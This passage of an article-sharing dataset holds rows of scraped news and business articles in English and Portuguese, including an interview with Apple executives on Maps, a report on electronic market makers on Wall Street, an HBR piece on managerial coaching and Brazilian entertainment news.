CONTRIBUTING.md for more information on what we're looking for and how to get started. We are grateful to the authors of existing related projects for their ideas and collaboration: If you don't agree with the choices made in this project, you might want to explore alternatives with different tradeoffs: You can also use module bundlers like webpack and Browserify directly. React documentation includes a walkthrough on this topic.",en
1470845667,CONTENT SHARED,8326017498198914888,6735372008307093370,7898179835241843692,,,,HTML,http://www.papelpop.com/2016/08/strut-reality-de-modelos-trans-produzido-por-whoopi-goldberg-ganha-primeiro-trailer/,"""Strut"", reality de modelos trans produzido por Whoopi Goldberg, ganha primeiro trailer","Olha só que incrível: a atriz e apresentadora Whoopi Goldberg é a produtora executiva de um novo reality show que estamos morrendo de vontade de assistir. O programa se chama ""Strut"" e acompanha um grupo de modelos transsexuais vivendo no mundo fashion e lutando contra estereótipos. Super legal, né? Esse reality ganhou recentemente seu primeiro trailer, disponível no player abaixo: A gente pode ver no vídeo momentos como reuniões de negócios, sessões de fotos e até um drama entre a família de um dos participantes. Os protagonistas de ""Strut"" são Dominique Jackson, Laith De La Cruz, Isis King, Ren Spriggs e Arisce Wanzer, todos contratados da agência Slay Model Management, a primeira exclusivamente para modelos trans! Isis, por exemplo, foi a primeira trans a participar do ""America's Next Top Model"" (em duas temporadas ainda!). Olha só essa foto postada por Dominique, junto com Whoopi. Todos lindos! Isis também publicou uma foto, desta vez do elenco todo produzido: ""Strut"" estreia em 20 de setembro nos Estados Unidos.",pt
1470860514,CONTENT SHARED,3472032465864014134,-2901997243166418276,-7872907402846803271,,,,HTML,http://www.superpride.com.br/2016/08/pabllo-vittar-reina-no-novo-comercial-da-skol-para-os-jogos-olimpicos.html,Pabllo Vittar reina no novo comercial da Skol para os Jogos Olímpicos,"Conhecida pelo hit "" Open Bar "", lançado no final do ano passado, Pabllo Vittar vem mostrando que não apareceu na mídia por acaso. Depois de estrelar um comercial da nova campanha da Avon , Pabllo liderou um exército de brasileiros na nova promo da Skol para divulgar os Jogos Olímpicos Rio 2016 . Dentro de algumas semanas, a cantora deve lançar seu álbum de estreia, que segue sem nome.",pt
1470863007,CONTENT SHARED,5653476548835345267,7580644064067188685,4419447520340845424,,,,HTML,http://www.bloomberg.com/news/articles/2016-08-10/the-new-wall-street-even-big-banks-want-help-navigating-markets,The New Wall Street: Even Big Banks Want Help Navigating Markets,"After JPMorgan Chase & Co.'s shares in the opening minutes of trading on Aug. 24 last year, the world's largest investment bank sought out an unlikely ally, Virtu Financial Inc., to help it understand what happened. The lion was turning to a mouse for help navigating the jungle where it has long been king. JPMorgan spends more on technology in six months than Virtu's equity is worth. It has 240,000 employees to Virtu's 148. Yet Virtu is so advanced in the arms race of electronic trading and order routing that JPMorgan executives wanted its appraisal to either confirm or deny the bank's own analysis, according to people familiar with the situation who asked not to be named. Virtu Chief Executive Officer Doug Cifu met that fall with Matt Zames, JPMorgan's chief operating officer, and confirmed the bank's explanation of the event, the people said. What Virtu brought was an authoritative, microsecond-by-microsecond review of the complicated mix of trading halts, delayed openings and problems with exchange-traded funds that roiled the U.S. stock market that day, causing the bank's stock to briefly crater. It wasn't long after that Virtu a important job from JPMorgan: Overseeing the trading of its stock at the New York Stock Exchange's iconic Manhattan floor. And the relationship further last week, when JPMorgan agreed to use Virtu's technology to trade in the $13.4 trillion U.S. Treasury market. The New Wall Street Welcome to the new Wall Street. In this neighborhood, a group of smaller, nimble firms have leveraged cutting-edge technology to emerge as the preferred purveyors of trading systems that make it easier and cheaper to buy and sell currencies, Treasuries and fixed income assets. While this has long been the bread and butter of the world's largest securities brokers, and will continue to be, the increasingly complex and cutthroat world of high-speed electronic trading has created an opportunity for specialists like Virtu, Citadel Securities, Global Trading Systems, and XTX Markets to supply the pipes to these lucrative markets. ""Banks have been squeezed from two different directions: on one hand, they have a changed regulatory environment and higher capital requirements,"" said Matt Andresen, an executive at quantitative trading firm Headlands Technologies Inc. ""On the other side, they're trading in markets that have gone through a shift to become more electronic."" Following the financial crisis, banks have been left shrunken, battered and withdrawn, partly due to new regulations, but also because making money in this new world is much harder. The extent of the shift becomes clear when you flash back to Black Monday -- the market crash of October 1987. President Ronald Reagan summoned officials from Wall Street, the legal profession and academia -- including representatives from JPMorgan, Merrill Lynch, Salomon Brothers and IBM -- to sort out why stocks had plunged. Banks were still the keepers of markets then. Now, to understand when things break, bankers and U.S. regulators are increasingly reliant on this new crew of firms that dedicate every resource to mapping and understanding the minutia of market structure in service to their goal of providing the fastest and best prices. Playing to Strengths The team-ups between beleaguered banks and ascendant electronic firms plays to the strengths of both the big institutions and the leaner, newer entrants, said Joe Gawronski, president and chief operating officer of Rosenblatt Securities. ""The banks have the customer relationship, but the electronic guys are great at the technology and risk management,"" Gawronski said. ""There's potential for a good marriage there."" The niche that firms like Virtu and GTS are filling is a vital part of finance known as market making. A middle man buys from sellers and sells to buyers, and in the process makes money from the difference in price. Market makers aren't trying to predict which way markets are headed -- they just provide liquidity to those who want it. These intermediaries aim to end every trading day with no risk, or with their exposures fully hedged using derivatives or other means. The power shift is at the New York Stock Exchange. Four electronic market-making firms now oversee almost all trading on the historic floor -- outposts that once belonged to investment banks like Goldman Sachs Group Inc. and Bank of America Corp. This year Citadel Securities and GTS each purchased a so-called designated market maker operation, joining Virtu and IMC in managing listed companies' stock there. While equity markets have mostly moved to electronic trading after beginning to shift in the 1990s, other asset classes are still in transition, making them targets for computerized trading firms. The movement toward electronic markets offers money managers a chance to have more control over how their orders are carried out, said Nanette Buziak, head of equities trading at Voya Investment Management, which oversees $204 billion in assets. Electronic firms are poised for new opportunities in foreign exchange, Treasuries and fixed income, she said. ""They're the market makers now,"" Buziak said. ""You'll see new partnerships going forward in other asset classes. We'll see more consolidation as well."" Flash Crash The new order is not without The flash crash of May 2010, which erased more than $800 billion of value from U.S. stocks in minutes, illustrated the dangers that can arise as algorithms come to dominate financial markets. Computer-driven trading strategies can be easier for cheaters to fool and manipulate. British trader Navinder Singh Sarao was arrested and charged by the U.S. government for making millions of dollars manipulating futures markets from his bedroom. He's denied he did anything wrong. Meanwhile, regulators have struggled to keep pace with the faster-moving computerized landscape. The U.S. Securities and Exchange Commission has moved slowly for more than six years on a plan to better understand stock market mishaps like the flash crash. The regulator's plan for a gigantic repository tracking billions of daily orders and quotes, called the Consolidated Audit Trail, is nowhere near ready. No contractor has been picked to build the system yet. Markets will always move faster than regulators, and the Virtus of the world are no exception. As with any shift as large as what the new Wall Street represents, there will be hiccups and problems. Trust is crucial. In the case of JPMorgan and Virtu, their top executives have known each other for years. The bank helped take Virtu public last year and has acted as its clearing broker since its inception in 2008. That trust made Virtu an easy pick to help JPMorgan understand why the bank's shares lost one-fifth of their value before quickly recovering nearly all of the drop on Aug. 24. ""Is there a situation where we can maintain our intellectual property, improve our position and possibly save costs by outsourcing certain things that Virtu has a competitive advantage in? The answer is yes,"" JPMorgan's Zames said in an interview. ""We will stay a leader in market making at the end of the day, and certainly Virtu is going to be well-positioned to take advantage of those types of things."" Regulators have spoken. Banks have retrenched. And the new Wall Street is here to stay. ""Banks collectively don't necessarily have a competitive advantage in the connectivity space,"" Zames said. ""I think you're likely to see more of this going on."" Before it's here, it's on the Bloomberg Terminal. LEARN MORE",en
1470872079,CONTENT SHARED,-8815620240581422908,881856221521045800,-6443124096966155946,,,,HTML,http://www.forbes.com/sites/tomgillis/2016/08/10/agility-in-the-cloud-which-as-a-service-works-for-you/,"Agility in the Cloud: Which ""As a Service"" Works for You?","The data center is fundamentally changing. Yet today, as before, every company in the world is building their own data center. That makes about as much sense as every company building their own furniture or generating their own power. It's inefficient, and it's a big diversion of limited corporate resources.",en
1470892968,CONTENT SHARED,-9189659052158407108,-709287718034731589,3227212241802676138,,,,HTML,http://www.fastcompany.com/3062596/tim-cooks-apple/eddie-cue-and-craig-federighi-open-up-about-learning-from-apples-failures,Eddy Cue and Craig Federighi Open Up About Learning From Apple's Failures,"Fast Company : Let's start talking about Maps. How are you developing Maps, and how broadly might it apply as Apple looks ahead? Eddy Cue, SVP of Internet software and services: The first thing to know about Maps is there's no one developing maps in a significant way except us and Google. There's Nokia, and then you've got TomTom, which is a relatively small company selling to cars. Even when you hear of a company like Uber doing that, everyone is doing it with a very narrow focus. We use maps in a very, very broad way, and so do our customers. Another thing about Maps is that it just never ends. Every day, businesses are opening and closing, streets are changing, highways are being built. There are short-term things happening, like particular lanes closing, traffic, a bridge being closed. The whole thing is extremely dynamic, which makes it an interesting problem. Most maps that have been done today are almost old-fashioned. It's all been drive the road, take photos, do satellite images. The only argument has been, how often do you do it? ""There's an evolving range of issues that customers have raised that we haven't addressed, but we'd like to address."" The advantage of us coming to this later in the game is that, yeah, we have to do some of that, but in order to stay updated we're trying to use the iPhone itself, and the data it's giving us. Let me give you a good example: a golf course. How do we know when a new golf course opens up? We're not exactly driving around looking for golf courses. But we know it's there, because there are all these golf apps that get used at a golf course. If we see that all these golf apps are being used at a particular location, and we don't show that as a golf course, we probably have a problem. You can discover that pretty quickly. It's not as if you need a year, or anything like that. FC : Do you then have to drive by that golf course? Cue: It depends. Some things you can do by just going on the Web and checking out whether a golf course exists at that location. You might look at satellite images to see if there had been construction there. In a worst-case scenario, you would have to drive by. You know, airports are the same thing. Runways get developed, but you don't always really know because many are private. Roads closing, bridges closing-these are really all data problems, because the truth is we don't really need anyone to tell us that the bridge is closing. The moment a bridge is actually closed, you can immediately see the effect. Craig Federighi, SVP of software engineering: If all of a sudden the phones stop moving in that direction . . . Cue: . . . and they start moving in a different direction . . . Federighi: That's the kind of thing we do now. So you draw a distinction between that and personal information. Your device may learn your commute patterns, it may learn when you go to the office and when you go home, so that locally on the phone it could tell you that you need to leave early because there's a lot of traffic on your way home. Well, that's something that is personal to you and provides value to you, but we don't want Apple to know when you go to work. So we keep that intelligence on the device, but we can anonymously track things like traffic patterns. Cue: Here's another thing about Maps: It's expensive. We have thousands of people working on Maps. FC : Doing things like making sure that golf course gets in there? Cue: It's that. It's building the architectures, doing the automation, the intelligence, the amount of data we're capturing. It's very, very expensive, and it doesn't have a direct revenue stream. So when I say it's only Google and us who are developing it, well, that's part of the reason why. You can't be a company going out and developing maps to make money; at least no one's figured that out. ""When we were the Mac company, if we impacted 1% of our customers, it was measured in thousands. Now if we impact 1% of our customers, it's measured in tens of millions."" FC : In the long run, is the service, to me as an Apple customer, simply that I will have up-to-date Maps of my neighborhood and wherever I drive? Or does it get much bigger than that? Federighi: I think it already is. To Eddy's point, while Maps isn't a revenue-producing product itself, it's a platform. It's certainly an important feature in terms of the convenience it provides you, but Maps is a platform on which so many of our developers build. If you think about mobility in general, Maps is a core organizing structure for the physical world in which you interact. So many, many third-party apps incorporate mapping, as an understanding of where you are in relation to others, as a way to do all sorts of things-put photos on a map to help you relive a trip, get a heads up about when you need to leave, or see which of your friends is in a certain area. Just as our operating system is a platform or a foundation, having a map of the physical world is a foundation for building all kinds of value on the platform. Our Maps app is just one client of that underlying platform that's delivered there. FC : What does it do to the development team, and to your plans, when something like Maps gets introduced and it's derided immediately. [Maps was introduced in September, 2012, to universal scorn .] Does that slow down what you were hoping to do? Cue: Well, look, the first thing is that you're embarrassed. Let's just deal with that one fact of emotion. I mean, these things mean a lot to us. We work really hard, and so you're embarrassed. In the case of Maps, what it causes you to do is ask: How important is this? Is this a place where we need to triple down or quadruple down, or did we make that mistake because it's not that important to us? We had long discussions at the ET [executive team] level about the importance of Maps, where we thought Maps was going in the future, and could we treat it as a third-party app? I mean, we don't do every app. We're not trying to create a Facebook app. We think they do a great job. We always came back to the conclusion that Maps was not one of those. It's an integral part to the whole platform. There were so many features that we wanted to build that are dependent on that technology, and we couldn't see ourselves being in a position where that was something that we didn't own. ""Maps is yet another domain where we had to learn what we didn't know."" Federighi: So it was a triple down, and it was a huge learning moment for Apple. Maps presented us with some relatively new challenges, where we needed to develop competencies that we initially didn't appreciate, areas where we needed some depth, where we needed to take a new approach. We had great approaches for some of the other problems we'd been solving, but this one had some characteristics that meant we had to take some different approaches. So we had to ask: What do we have to learn? FC : Was the development process of Maps very much in line with the development process of things you'd done in the past? Federighi: More than it should have been. Maps is a huge data integration and data-quality issue. Eddy talks about the amount of data you have. You're getting data from a lot of providers, and some of that data is, or should be, changing every day. Cue: It may not even be right. Federighi: And much of it is inconsistent. You'll get a feed from someone who provides information about restaurants, and they'll refer to location in a different way, in terms of latitude and longitude, from your base map. There's a huge data-quality issue there, and I don't think we initially appreciated all the kinds of technology we would need to do that on an ongoing basis. Going through that lesson in a very public way gave us all the motivation we needed to say we're going to do this really well. Cue: And look, we made some significant changes to all of our development processes because of it. For example, the reason you as a customer are going to be able to test iOS is because of Maps. We were never able to take it out to a large number of users to get that feedback. So, to all of us living in Cupertino, Maps seemed pretty darn good. Right? The problems weren't obvious to us. Now we do a lot more betas. FC : You guys have a fierce history here, and there were all sorts of rules that were established during Steve [Jobs's] tenure. This sounds like a case where you were doing something you would not have been encouraged to do in the past. ""Maps was a new area-not one where we have a lot of experience or expertise."" Cue: No. When you look back, like everything else, it's easy to see the mistakes. Maps was a new area-not one where we have a lot of experience or expertise. It was important, but we were looking to replace an existing product [analog maps]. So we weren't looking to create something entirely new. So you're trying to replace one thing with another thing, and we kind of let the team we put in charge of it go off on their own. Now that you understand the complexity of Maps, you realize that it was a relatively small team, and we kind of isolated them in their own little world. We completely underestimated the complexity of the product. If you think of Maps, it seems like it's not that hard. All the roads are known, come on! All the restaurants are known. There's Yelp and Open Table; they have all the addresses. Mail gets delivered; UPS has all the addresses. The mail arrives. FedEx arrives. You know, how hard is this? That was underestimating. And then there was the quality part, of how you test and validate- that is also a big issue. It's an ongoing one. We've improved it significantly, and Google's improved theirs significantly, but it's still a problem that needs to be better. For both of us. Federighi: But we are a company that has learned and adapted as we've gone into new domains, during Steve's time and after Steve's time. If you look at building mobile consumer devices and what it meant to market and retail those, we were doing lots of things we had never done while we were just the Mac company. Under Steve, that part of the business learned to adapt to that domain, and got really good at it. Under Steve, we got into silicon; we now design and build our own chips. The set of practices, disciplines, expertise, and management approach to releasing a chip that you're going to fabricate in the billions is a different discipline than the one you're going to use to design a Mac, or to sell something in retail, or to sell songs in the iTunes Store. So we had to develop that expertise in chips, because it was vital to the experience we wanted to deliver. Maps is yet another domain where we had to learn what we didn't know. And as we realize that a particular technology or approach is necessary to deliver new experiences, we're going to learn what we don't know and adapt our style to address it. There's not just one way to get things done here. ""We completely underestimated the complexity of the product."" FC : Eddy, you told me that Siri was a very different case. Cue: Siri is very different because it was new. When you're doing something that hasn't been done, it's a very different animal. You're trying to determine what are the features, what are the ways it can work, what are customers looking for, what are the things you can do that will improve the lives of customers. I think that's still the case with Siri. If you look today, things like Cortana and Google exist, yet there's still so much to do in that space. There are so many things you'd like Siri to do that it doesn't do quite do yet. FC : Can you give me examples of things you're looking at with Maps? Cue: Mmmm . . . [He shakes his head no.] FC : Okay, I had to try. Maps are really interesting though. For years, they've been thought of as the possible overlay for all the information in the world. Federighi: That's right. It's the organizing principle for the physical world. Cue: Here's a problem Maps should solve: I'm about to get on a red-eye and go to New York. I don't go there that often, but I've gone to places I like. I never remember the name of restaurants. Today you solve that by remembering the type of food, and maybe the neighborhood, but there should be a better way of solving that problem. FC : By knowing the history of where you've been? Cue: Possibly. I mean, there are better ways to solve that problem than me hunting and pecking. Traffic, by the way, is another one. We do a lot of proactive stuff, but let's say I'm at work today. If I knew my commute would be cut by 15 minutes, I might stay at work an extra half hour. Maps should tell me that. FC : [When a family member calls me at this point of the interview, Apple's Voice Memos app, which I've been using to record the interview on my iPhone, stops recording. I lose about five minutes of the conversation. When we get started again-using a different recording app-I ask about the flaw.] Somebody went on a rant yesterday about the possibility that the iPhone 7 won't have a headphone jack. Meanwhile, my recording just stopped after that phone call, which is annoying. Cue: That's good, actually. That means there's still work for us to do. FC : But here's the thing. Apple gets hit on two sides. There's one crew that thinks you're not as visionary as Google or other places, and another crew that hammers you for detailed errors like this. Cue: I like the latter; I don't like the former. I'm okay with the latter. FC : You're okay that there are mistakes, and that you have to fix them? Cue: We have to be honest with ourselves. We're not perfect, and we're going to make mistakes. There's an evolving range of issues that customers have raised that we haven't addressed, but we'd like to address. ""We have to be honest with ourselves. We're not perfect, and we're going to make mistakes."" FC : There's a perception that there are more of these than in the past. Cue: Well, there's more people, there's more devices, and there's more communications available. I actually think our products have fewer mistakes than they did in the past, and our data shows that. But, look, I tell this to my team all the time. When we were the Mac company, if we impacted 1% of our customers, it was measured in thousands. Now if we impact 1% of our customers, it's measured in tens of millions. That's a problem, right-things are going to be perceived differently. Our products are way better than they used to be, but there's a higher bar, and I'm okay with that. I think that is why we're here. That's why I get up every day. I like that people have high expectations of us, and that they care about little things that bother them, which, in a lot of products, they wouldn't bother about. With other companies, you think, that's about as good as it's going to be. With us, you want perfection; you want it to be the best. And we want that. ""A world where people do not care about the quality of their experience is not a good world for Apple."" Federighi: A world where people do not care about the quality of their experience is not a good world for Apple. A world where people care about those details and want to complain about them is the world where our values shine. That is our obsession. If people were like, ""That's good enough for me"" . . . well, there are a lot of people who can provide that kind of experience. I think that we are focused on working hard every day to make it better. We make mistakes, things get out there, but we work incredibly hard to make things better and better. The bar does keep going up. The number of things you expect from your phone and your computer and the way they interact, and the cloud and services and the way the Internet works with them, the level of complexity goes up and up. But we're committed to getting better and better, faster than it gets harder and harder. Cue: And the former thing that you said, well, that's our culture. We don't want to tell the world what we want to solve, what we're trying to solve. Why? Because we haven't solved it. Other than trying to make ourselves look cool or good, what's the purpose of that? I don't understand that part of it. So, yeah, there are a bunch of things we're working on that we'd like to solve-some we've been working on for years and we haven't solved, for that matter. I don't feel like we should be tooting our own horns that we're trying to solve that problem, when we haven't really solved it. FC : This seems to go back to the popular myth about what happened here under Steve. You're seen as a breakthrough company, and people say that the Watch was supposed to be a breakthrough and it wasn't. Cue: I think of us as a company that changes peoples lives with the products we build because they use them in significant ways. Call that a breakthrough-I don't know. Somebody will argue that we weren't the first phone. But we were the first ones to do that in a mass way. FC : You once told me that you brought your family to the iPhone introduction because you knew that was incredibly special. Does the rest of the world expect you to deliver an iPhone every four years? Cue: Well, I think the rest of the world thinks we delivered it every year while Steve was here. Those products were developed over a long period of time. So, people say the Watch isn't a breakthrough product. Well, neither was the iPhone, by the way. And neither was the iPod. Go look at the numbers; these were not a huge success right away. A $500 music player? How stupid are these guys? Federighi: We couldn't have built the Watch if we hadn't been solving all sorts of problems on the phones in the first place. And the phone benefited from work we did when we thought we were trying to build an iPad. So, the expertise we developed on mobile silicon, and power management, and iOS were enablers to get that Watch on your wrist. In that sense, we're constantly innovating and iterating these products, to the point where the phone you have here on the table [an iPhone 6S] is dramatically different than the one we introduced when we introduced the iPhone [in 2007]. Since you can draw a line from one to the other, you think of them as the same thing, but this [iPhone 6S] is probably a thousand times faster. It can ID your fingerprint, it's the only camera you need, it can run apps-it's just a dramatically different device. That's the result of continuous innovation that puts you in a dramatically different place from where you first started. FC : It's also much better because of how it connects to the rest of my devices, right? When you think of development, do you think of developing things for that ecosystem or for a particular device? Federighi: We think in terms of experiences. We all use these devices every day, and we think about what we'd like them to do for us. Those aspirational experiences lead us down all sorts of roads technologically, to all kinds of problems that we need to solve. So we think, ""Oh, we'd like your Watch to unlock your Mac,"" because we need to unlock our Macs every day. It doesn't start with, ""Hey, we've been doing development in wireless and they want something to use their technology for."" Cue: There's another thing, too. When everything gets compared to the phone-and it does, and that's fine-if we do that, we'll always lose. The phone is a device that everyone on the planet has, and you can't say that about anything else. So, if we were to go solve the problem of flying a supersonic airplane, that might have significant benefits, but the number of people it impacts is tiny compared to the phone. That comparison is really hard. If I looked at it that way, I'd never do an Apple TV, because there aren't enough TVs in the world. So, might as well not do that! You can't look at it that way, and compare everything back to the phone. Then no other product should be created. FC : In some companies there's an innovative side of the company and another where their main job is to sell a lot of the old standby. Is the iPhone becoming the ""old"" side of the business around Apple? Cue: It's not going to become that. Look at the Mac. We still put a lot of effort into that, and it's 30 years old. If you look at OSX, same thing. Federighi: The phone is this ubiquitous platform for delivering capability to our customers. It's the single best opportunity for us to innovate, and the single best opportunity for our developers to innovate into our ecosystem. So this is not ""put that on maintenance while we go do something new."" It remains a pillar of what we do, for as far as we can see. It's not the only pillar of what we do, but it remains the biggest value creation opportunity we have for our customers. FC : Many people argue that you, Google, Amazon, and Facebook are all after the same thing in the long run: ownership of the customer throughout the day. Federighi and Cue together: We don't think of it that way. Cue: I love Facebook. We can't be everything. One of the reasons we've been highly successful is that we focus. We can't be great at everything; nobody's great at everything. I mean, come on. So, if you want to be great at something, you have to focus and do a few things. We've been lucky. We've had a few, and not just one. That's the only way we know how to work. So we don't want to be Amazon and be Facebook and be Instagram and so on. Why? Or Uber. Why? I think it's awesome that Travis and his team have done Uber on our platform. It would not exist without our platform, let's be clear. But great for them for thinking of that problem, and solving it. We would never have ever solved that problem. We weren't looking that way. We would have never seen it. ""I love Facebook. We can't be everything."" Federighi: It is an interesting, ongoing press narrative, however. To the extent that anyone anywhere does anything interesting, the question is: Why isn't Apple doing that; why is Apple behind in that? We aren't the Everything Company. We take on a very small number of things that we do very well, and we find that pretty rewarding. FC : I don't know if you'll answer this, but supposedly the most important thing for any employee is their relationship with their direct boss. So how is your relationship with Tim different from your relationship with Steve? Cue [laughing]: How is it different? Federighi [smiling] : No difference . . . ""Steve was in your face screaming, and Tim is more quiet, more cerebral in his approach. But you have the same feeling."" Cue: I don't twitch as much, but . . . no, just kidding. I'm kidding. It doesn't change, in that they're both extremely demanding. Their approach is completely different. Here's a feeling that I have always had, and I wish I had it with my team. I never wanted to disappoint Steve. I never want to disappoint Tim. And I have that with, like, my dad. I was here with [former Apple CEO Michael] Spindler and those guys, and I didn't have it with them. That's a quality that makes them unique. Now, their approach is very different. Steve was in your face screaming, and Tim is more quiet, more cerebral in his approach. But you have the same feeling. And when you disappoint Tim, even though he isn't screaming at you, you get the same thing. [They both laugh knowingly.] That part comes through loud and clear. The thing I love about Tim, and the key to his success, is that he's stayed true to himself, and never tried to be Steve. There are some qualities that he has that are better than Steve's, and Steve had some qualities that are better than Tim's. But he stayed true to what he is, and it's the best thing . He's made a lot of areas better and the areas where he's not sure, he's surrounded himself with people who do. You know, both of these guys work [and have worked] harder than anyone at Apple. They [both put] everything they've got into this company, and to us, and that's a privilege. FC : One venture capitalist I know said, ""No one's motivated at Apple these days."" Cue: If you were in technology for a while, there are some traits that are very unique. Number one, the price of what you make is generally going down. If you're in any other business, the prices are going up. The second thing is that you're only as good as the last thing you do. Steve taught me this: He said, "" Toy Story will be a classic for the rest of time."" Nobody wants an original iPod. Nobody wants an iPhone 3 GS. I wake up every morning motivated because that's the world we live in. We can't ride on anyone's coattails. Sometimes I think, if you're younger and you've only been at Apple, is that a problem? I try to tell them, if you look back 10 years at the top 10 companies in the world, Nokia was one of those. Where are they today? What happened? Did they sit on their laurels thinking, ""Hey, no one's going to develop a better cell phone than us""? Federighi: I think it's significant that upper management has lived through periods of austerity [1999 to 2001] and appreciates that this hasn't been a straight ride up. People who look at Apple's success and think we look at it as ""okay, great, we're done"" don't appreciate what's really going on here.",en
1470894880,CONTENT SHARED,7734143682021717145,-709287718034731589,3227212241802676138,,,,HTML,http://www.macrumors.com/2016/08/10/macbook-pro-lineup-overhaul-4-years/,MacBook Pro Lineup Set For 'Most Significant Overhaul in Over 4 Years',"Apple is about to unveil the most significant overhaul of its MacBook Pro lineup in over four years, according to people familiar with the matter (via ). Today's claim appears in the second report from the news outlet this week professing insider information on Apple's upcoming product plans. Consistent with previous rumors, the article says the updated notebooks are thinner and will include a touchscreen strip along the top of the keyboard, which is expected to present functions on an as-needed basis that fit the current task or application, as well as integrate Touch ID to enable users to quickly log in using their fingerprint. The new top-of-the-line MacBook Pros will be slightly thinner than the current models but are not tapered like the MacBook Air and latest 12-inch MacBook, one of the people said. The new MacBook Pros have a smaller footprint than current models and the casing has shallower curves around the edges. The pressure-sensitive trackpad is also slightly wider, the person added. More significantly perhaps, the anonymous source claims the new MacBook Pros will feature more powerful and efficient graphics processors for ""expert users such as video gamers"". An option for a version featuring a higher-performance graphics chip from Advanced Micro Devices Inc. will be available, another person familiar with the matter said. It's unclear which provider Apple will use for the main processor, but Intel Corp. has supplied this in the past. Apple is using one of AMD's ""Polaris"" graphics chips because the design offers the power efficiency and thinness necessary to fit inside the slimmer Apple notebook, the person said. The new graphics card is more than 20 percent thinner than its predecessor, AMD said earlier this year. AMD declined to comment, referring inquiries to Apple. As reported previously , the switch to the new Polaris 11 architecture is expected to be a significant performance upgrade over the previous 28nm chips, with AMD promising ""console-class GPU performance for thin and light notebooks"" and ""extraordinary VR experiences"" from the new low-power architecture. The new design will also include USB-C connectivity that can handle charging, data transfers, and display outputs, according to sources. Apple is also reportedly considering whether to offer the notebooks in gray, gold, and silver, although it's unclear if colored MacBook Pros will be available on initial release. The new computers have been in advanced testing since earlier this year, according to the article's sources, although they aren't likely to debut at an event ""currently scheduled for September 7 to introduce next-generation versions of the iPhone"". With Monday, September 5 being Labor Day, previous predictions tagged September 6 as the day of Apple's iPhone 7 event, but Wednesday still roughly lines up with Apple's usual pattern for iPhone releases. Last year, Apple announced the iPhone on September 9, started pre-orders on September 12 and released it on September 25.",en
1470916417,CONTENT SHARED,-8992803137960175254,6013226412048763966,716425472356502779,,,,HTML,https://hbr.org/2015/05/4-reasons-managers-should-spend-more-time-on-coaching,4 Reasons Managers Should Spend More Time on Coaching,"There are managers who coach and managers who don't. Leaders in the latter category are not necessarily bad managers, but they are neglecting an effective tool to develop talent. We've been researching managers who coach and what distinguishes them. What has stood out in our interviews with hundreds of managers who do coach their direct reports is their mindset: They believe in the value of coaching, and they think about their role as a manager in a way that makes coaching a natural part of their managerial toolkit. These are not professional coaches. They are line and staff leaders who manage a group of individuals, and they are busy, hard-working people. So why do they so readily give coaching an important place in their schedule? Here are four reasons: They see coaching as an essential tool for achieving business goals . They are not coaching their people because they are nice - they see personal involvement in the development of talent as an essential activity for business success. Most managers will tell you that they don't have the time to coach. However, time isn't a problem if you think coaching is a ""must have"" rather than a ""nice to have."" Whether it's because they are competing for talent, operating in a highly turbulent market place, trying to retain their budding leaders, or aiming to grow their solid players, they believe that they simply have to take the time to coach. There are two assumptions behind this belief. First, that extremely talented people are hard to find and recruit. If you are known as a manager who will help those people thrive, they will gravitate to you. Second, that an organization cannot be successful on the backs of the extremely talented alone. You need solid players just as you need stars, and they will need a manager's help to build skills and deal with the changing realities of their marketplace. They enjoy helping people develop. These managers are not unlike artists who look at material and imagine that something better, more interesting, and more valuable could emerge. They assume that the people who work for them don't necessarily show up ready to do the job, but that they will need to learn and grow to fulfill their role and adapt to changing circumstances. Coaching managers see this as an essential part of their job. They believe that those with the highest potential, who can often contribute the most to a business, will need their help to realize their often-lofty ambitions. As one manager told us recently, ""Isn't helping others to be more successful one of the key roles of a manager?"" The manager must adapt his or her style to the needs and style of each particular individual. This of course takes a good deal of work on the part of the manager, but again, this is perceived as being part of the job, not a special favor. They are curious. Coaching managers ask a lot of questions. They are genuinely interested in finding out more about how things are going, what kinds of problems people are running into, where the gaps and opportunities are, and what needs to be done better. Typically, they don't need to be taught how to ask questions because it's a natural strength. This curiosity facilitates the coaching dialogue, the give-and-take between coach and learner in which the learner freely shares his or her perceptions, doubts, mistakes, and successes so that they together reflect on what's happening. They are interested in establishing connections. As one coaching manager stated, ""That is why someone would listen to me, because they believe that for that time, I really am trying to put myself in their shoes."" This empathy allows the coaching manager to build an understanding of what each employee needs and appropriately adjust his or her style. Some employees might come to coaching with a ""Give it to me straight, I can take it"" attitude. Others need time to think and come to their own conclusions. A trusting, connected relationship helps managers better gauge which approach to take. And coaching managers don't put too much stock in the hierarchy. As a coaching manager recently told us, ""We all have a job to do, we're all important, and we can all be replaced. Ultimately, no one is above anyone else. We just need to work together to see what we can accomplish."" Achieving this mindset is doable. It comes down to whether the business case is sufficiently compelling to motivate a manager to develop a coaching mindset. Managers need to ask themselves a few questions: Does your organization (or group or team) have the talent it needs to compete? If not, why not? Have you done a poor job hiring, or are people not performing up to their potential? It's really either one or the other. If the latter is true, it's your job to help get them to where they need to be. For managers who want to start coaching, one of the first steps is to find someone who is a good coach in your organization and ask her or him to tell you about it. What do they do? Ask why they coach. Listen and learn. Second, understand that before you start coaching, you need to develop a culture of trust and a solid relationship with the people you will be coaching. In spite of your good intentions, all the techniques in the world will make little difference if those you are trying to coach don't feel connected to you in some way. The relationship you develop is more important than the all of the best coaching methods that are available. Third, learn some of the basic principles of managerial coaching that will help you develop your own expertise as a coach. One of the core lessons for managers is that coaching isn't always about telling people the answer. Rather, it is more about having a conversation and asking good, open-ended questions that allow the people you are coaching to reflect on what they are doing and how they can do things differently in the future to improve performance. Finally, the mindset should be focused on the people you are coaching. Always remember the main principle: coaching is about them, not about you.",en
1470917963,CONTENT SHARED,-6115752106105570167,-1443636648652872475,-4660233361522093222,,,,HTML,http://www.zdnet.com/article/globo-com-ramps-up-live-streaming-for-olympic-games/,Globo.com ramps up live streaming for Olympic Games | ZDNet,"Brazilian web giant Globo.com has completed a revamp of its live streaming architecture with DataStax distributed database Cassandra to cope with increased demand during the Olympic Games. Globo.com is the internet arm of Grupo Globo, one of the 5 largest media conglomerates in the world, producer and exporter of content such as series, soaps and shows worldwide. During the Games, the company will be broadcasting 100 percent of the competitions online. Cassandra was the solution for the firm's concerns around scaling the storage supporting its live streaming capabilities as it will be managing some 324 new streams broadcasting the various Olympic events - that's more than three times the normal workload. ""Going back to any given point in a program is a common functionality in cable TV, but we needed to cater for the live demand and consequently, look at ways to improve the storage of the live streaming,"" Globo.com product manager for the online video platform, Igor Macaubas, tells ZDNet. Ramping up storage Having a platform to ingest and stream content live is crucial for Globo. This is currently done using the HTTP Live Streaming (HLS) protocol, which enables content broadcasting to web, mobile and smart TV users. The need for streaming came up in 2014, just before the World Cup. 